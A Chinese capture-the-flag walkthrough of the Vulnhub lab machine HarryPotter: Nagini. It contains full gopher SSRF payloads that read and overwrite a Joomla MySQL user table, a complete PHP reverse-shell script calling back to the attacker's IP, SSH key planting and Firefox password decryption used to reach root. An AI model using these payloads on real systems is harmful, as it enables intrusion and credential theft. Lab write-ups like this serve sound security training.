首页 > 其他分享 >vulnhub靶场之HARRYPOTTER: NAGINI

vulnhub靶场之HARRYPOTTER: NAGINI

时间:2023-03-07 10:14:26浏览次数:54  
标签:65% 73% 6c% 00% 6f% 5f% HARRYPOTTER NAGINI vulnhub

准备:

攻击机:虚拟机kali、本机win10。

靶机:HarryPotter: Nagini,下载地址:https://download.vulnhub.com/harrypotter/Nagini.ova,下载后直接vbox打开即可。

知识点:shell反弹、ssrf漏洞、joomla框架扫描、http3环境搭建、Gopherus工具使用、firefox_decrypt工具使用、敏感信息发现、密钥登录。

一:信息收集

1.nmap扫描

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.20.10.2,显示开放了22端口、80端口,开放了ssh服务、http服务。

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -u http://172.20.10.2 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现:note.txt、joomla目录。

访问下note.txt文件,命令:http://172.20.10.2/note.txt,获得提示信息,告诉我们要使用http3访问。

使用gobuster进行二级目录扫描,命令:gobuster dir -u http://172.20.10.2/joomla -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现了很多的文件和目录,访问下目录和文件信息,但是并没有发现有用的信息。

3.框架扫描

访问:http://172.20.10.2/joomla/显示是一个cms系统,使用joomlascan扫描以下,命令:joomscan --url http://172.20.10.2/joomla,发现其版本信息:Joomla 3.9.25和一个备份文件:configuration.php.bak。搜索cms的对用版本的漏洞信息,也只有一个xss的。

查看configuration.php.bak文件,只获得了账户信息和数据库信息:goblin、joomla,但是未获得密码信息。其中localhost应该是只允许本地访问。

二:http3访问

1.http3环境搭建

https需要使用quiche进行搭建,使用quiche我们需要先安装下rust,命令:curl https://sh.rustup.rs -sSf | sh,选择1默认安装就行。

然后我们就下载下quiche,命令:git clone --recursive https://github.com/cloudflare/quiche。

下载完成后,进入quiche目录,然后依次执行cargo build --examples和cargo test。

2.http3利用

环境搭建好后进入quiche/target/debug/examples目录,然后利用http3进行访问,命令:./http3-client https://172.20.10.2,成功获得internalResourceFeTcher.php文件。第二条说是不允许放bak,但是前面joomlascan已经扫出来了。

访问http://172.20.10.2/internalResourceFeTcher.php,输入:https://www.baidu.com/进行测试,发现可以跳转到百度页面,猜测这里存在ssrf漏洞。

三:ssrf漏洞利用与Gopherus工具使用

利用ssrf漏洞怎么能少了Gopherus,先下载下Gopherus,命令:git clone https://github.com/tarunkant/Gopherus.git,然后根据获得数据库用户信息:goblin和数据库名称:joomla,设置参数。

利用生成的payload访问在http://172.20.10.2/internalResourceFeTcher.php?url=进行访问,成功获得数据库内的表信息:joomla_users。需要多次刷新访问才会回显信息。

获取表信息
gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%18%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%73%68%6f%77%20%74%61%62%6c%65%73%3b%01%00%00%00%01

查看下表:joomla_users内的数据信息。

获取表内数据
 gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%27%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%6a%6f%6f%6d%6c%61%5f%75%73%65%72%73%3b%01%00%00%00%01

仔细查看获得表信息,可以发现是存在id、name、username、email、password、block等属性的,因此和下面信息对应我们可以发现账户名应该为:site_admin,前面的super user对应的应该是name属性,表示其权限。其密码是加密的,那我们就直接写入一个md5密码值,这样我们就可以直接登录了。写入的md5值:bf40ec77d7062a4c2986da0636d8afd7。

更新下password的值。值为:upfine。

更新password的值
 gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%6c%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%55%50%44%41%54%45%20%6a%6f%6f%6d%6c%61%5f%75%73%65%72%73%20%53%45%54%20%70%61%73%73%77%6f%72%64%3d%27%62%66%34%30%65%63%37%37%64%37%30%36%32%61%34%63%32%39%38%36%64%61%30%36%33%36%64%38%61%66%64%37%27%20%77%68%65%72%65%20%75%73%65%72%6e%61%6d%65%3d%27%73%69%74%65%5f%61%64%6d%69%6e%27%3b%01%00%00%00%01

四:获取shell

利用更改之后的密码值和获得账户信息:site_admin/upfine在:http://172.20.10.2/joomla/administrator/index.php进行登录。

在首页的Templates中选择Templates,然后选择Protostar Details and Files主题,修改其error.php代码并进行保存,然后访问http://172.20.10.2/joomla/templates/protostar/error.php,成功获得shell权限。

shell反弹代码
 <?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 [email protected]

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.20.10.3';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

五:提权

1.提权至snape

在shell中一番查找,先是在/var/www/html目录下发现:horcrux1.txt文件,访问该文件获得:horcrux_{MzogU2x5dGhFcmlOJ3MgTG9jS0VldCBkRXN0cm9ZZUQgYlkgUm9O}。

之后在/home/hermoine目录下发现horcrux2.txt文件,但是该文件缺少访问权限。顺便进了.ssh目录,但是该目录啥都没有。

在/home/snape目录下发现隐藏文件.creds.txt,访问该文件获得base64加密的字符串:TG92ZUBsaWxseQ==,解密后得到:Love@lilly。

使用获得密码信息:Love@lilly成功切换到snape账户。

2.提权至hermoine

切换成snape账户后对horcrux2.txt文件仍是缺少访问权限。

查找下hermoine账户的特殊文件,命令:find / -user hermoine -type f 2>/dev/null,发现:/home/hermoine/bin/su_cp。

执行下该文件,发现该文件可以使用--help进行帮助,查看下文件帮助告诉我们可以进行文件的复制。

那我们就可以使用ssh-keygen生成一个ssh密钥,复制到 hermoine用户中,制作ssh密匙:ssh-keygen -f upfine。

更改下公钥名称并上传到靶机,命令:cp upfine.pub authorized_keys和wget http://172.20.10.3:8000/authorized_keys。需要赋予640权限。

然后利用su_cp将authorized_keys文件复制到/home/hermoine/.ssh/authorized_keys,命令:./su_cp /tmp/authorized_keys /home/hermoine/.ssh/authorized_keys。

然后使用私钥进行登录并未成功,不知道具体的原因(可能是因为第一次忘记赋予640权限的问题,后续赋权后进行复制文件,也无法进行登录,所以干脆删除虚拟机重新装的,然后直接使用snape账户登录的),然后重新操作上面步骤就获得了hermoine权限。

获得hermoine权限后访问horcrux2.txt,获得信息值。

3.提权至root

a.投递.mozilla到本地

在hermoine目录下发现.mozilla文件,在靶机中开启web服务,将该文件下载到本地环境中,命令:wget http://172.20.10.2:8000/.mozilla。

但是这种命令下载下来的文件属性被改变了,导致无法进行解密,因此使用scp将firefox文件投递到本地kali中,命令:scp -rp .mozilla/firefox [email protected]:/home/kali/forTest,会提示输入密码,密码是kali的密码。

b.firefox_decrypt使用

首先下载firefox_decrypt工具,命令:git clone https://github.com/unode/firefox_decrypt.git,然后对firefox文件进行解密,成功获得账户和密码信息:root/@Alohomora#123。

c.提权

利用获得的账户和密码信息:root/@Alohomora#123切换到root账户。

在/root目录下发现horcrux3.txt文件,读取该文件。

标签:65%,73%,6c%,00%,6f%,5f%,HARRYPOTTER,NAGINI,vulnhub
From: https://www.cnblogs.com/upfine/p/17185048.html

相关文章

  • Vulnhub DC-9靶场WriteUP
    Recon  首先使用netdiscover扫描靶机,靶机IP地址为192.168.244.135。┌──(kali㉿kali)-[~]└─$sudonetdiscover-r192.168.244.0/24Currentlyscanning:192.1......
  • Vulnhub:Seppuku靶机
    kali:192.168.111.111靶机:192.168.111.212信息收集端口扫描nmap-A-v-sV-T5-p---script=http-enum192.168.111.212对samba服务进行枚举发现三个系统用户enum4......
  • Vulnhub之UnInvited靶机测试过程
    UnInvited识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/UnInvited]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:Finished!|Screen......
  • Vulnhub:Five86-2靶机
    kali:192.168.111.111靶机:192.168.111.211信息收集端口扫描nmap-A-v-sV-T5-p---script=http-enum192.168.111.211wpscan收集目标wordpress用户wpscan--url......
  • Vulnhub之View2akill靶机测试过程(部分)
    View2akill识别目标主机IP地址(kali㉿kali)-[~/Desktop/Vulnhub/View2akill]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:Finished!|......
  • vulnhub靶场之MATRIX-BREAKOUT: 2 MORPHEUS
    准备:攻击机:虚拟机kali、本机win10。靶机:Matrix-Breakout:2Morpheus,下载地址:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova,下载后直接......
  • [Vulnhub] MY FILE SERVER: 1
    下载地址0x00配置攻击机IP:192.168.10.5靶机IP:192.168.10.40x01攻击用Namp扫描靶机开放的端口┌──(root㉿azwhikaru)-[~]└─#nmap-A192.168.10.4......
  • [Vulnhub] DC: 1
    下载地址0x00配置攻击机IP:192.168.10.5靶机IP:192.168.10.60x01攻击用Namp扫描靶机开放的端口┌──(root㉿azwhikaru)-[~]└─#nmap-sC-sV-p-192.16......
  • [Vulnhub] DRIFTINGBLUES: 4
    下载地址0x00配置攻击机IP:192.168.10.5靶机IP:192.168.10.40x01攻击用Namp扫描靶机开放的端口┌──(root㉿azwhikaru)-[~]└─#nmap-sC-sV-p-192.16......
  • [Vulnhub] DRIFTINGBLUES: 1
    下载地址0x00配置攻击机IP:192.168.10.5靶机IP:192.168.10.60x01攻击用Namp扫描靶机开放的端口┌──(root㉿azwhikaru)-[~]└─#nmap-sC-sV-p-192.16......